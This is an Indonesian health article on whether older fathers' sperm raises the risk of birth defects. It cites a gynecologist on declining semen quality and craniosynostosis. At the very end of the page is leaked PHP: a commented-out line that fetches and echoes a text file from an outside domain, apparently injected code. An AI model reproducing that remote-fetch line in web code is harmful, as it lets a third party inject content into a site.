Sperma Berusia Tua Menghasilkan Bayi Cacat Otak?

 

Pixabay


Tak sedikit orang yang kaget mendengar kabar kelahiran bayi Ahmad Albar. Pasalnya pentolan grup band God Bless itu sudah berusia 70 tahun. Pada 9 April 2017 lalu, istri Ahmad Albar, Dewi Sri Astuti (33) melahirkan bayi berjenis kelamin perempuan yang diberi nama Malayeka Shezan Albar.

Selain Ahmad Albar, vokalis The Rolling Stone, Mick Jagger juga baru saja menyambut kehadiran bayi laki-lakinya ke dunia di usia 73 tahun pada bulan Desember 2016 lalu. Bayi tersebut merupakan buah cintanya dengan seorang pebalet Melanie Hamrick (30).

Di kalangan publik, sejumlah pertanyaan lantas mengemuka terkait soal fertilitas atau kesuburan pria pada usia lanjut. Memang, pria dapat tetap menghasilkan sperma untuk membuahi sel telur seumur hidup. Namun, penelitian mengungkapkan bahwa volume maupun kualitas sperma terus menurun karena efek penuaan. Senada dengan hal ini, dr. Sarah Rizka, SpOG, MSc dari RSIA YK Madira Palembang juga mengatakan bahwa volume semen (cairan ejakulat) pada sperma akan berkurang sekitar 20 persen pada pria sehat di kisaran usia 30-50 tahun.

“Semakin bertambah usia, volume sperma akan terus menurun per tahunnya 0.5 persen. Sebaliknya, konsentrasi sel sperma abnormal justru meningkat,” terang dokter Sarah.

Sperma abnormal yaitu sperma yang memiliki kelainan bentuk (morfologi). Bisa pada bagian kepala, midpiece, atau pun ekor. Jika digambarkan dengan angka, menurut dokter Sarah, peningkatan sperma abnormal pada usia 30 tahun adalah sebesar 5 persen, pada usia 50 tahun 10 persen, dan semakin bertambah lagi pada usia 80 tahun yaitu sebesar 35 persen.

Selain itu, DNA (Deoxyribo Nucleic Acid) sperma pada pria yang berusia tua akan mengalami gangguan pertumbuhan sehingga dapat menyebabkan craniosynostosis. Yaitu cacat lahir dimana satu atau beberapa sendi antara tulang tengkorak menutup terlalu dini, sebelum otak bayi terbentuk sepenuhnya. Akibatnya otak bayi susah tumbuh dan berkembang dengan baik dan kepala bayi memiliki bentuk yang tidak biasa.

Meski demikian, menurut dokter Sarah, masih ada kemungkinan bayi bisa lahir dengan kesehatan yang sempurna. “Kelainan tadi hanya sebagian kecil saja,” ujar dokter Sarah. 

(ALI)

Baca juga : Ayah Berubah Setelah Punya Anak, Benarkah? 
Baca juga : Pilek dan Flu Bikin Anak Alami Infeksi Telinga 
Baca juga : Serba-serbi Sariawan Bayi 

 



Artikel Rekomendasi

post4

Tak Kunjung Hamil

Ketika lama tak punya buah hati, wanita kerap ’dituduh’ menjadi penyebabnya. Bagaimana sebenarnya?... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>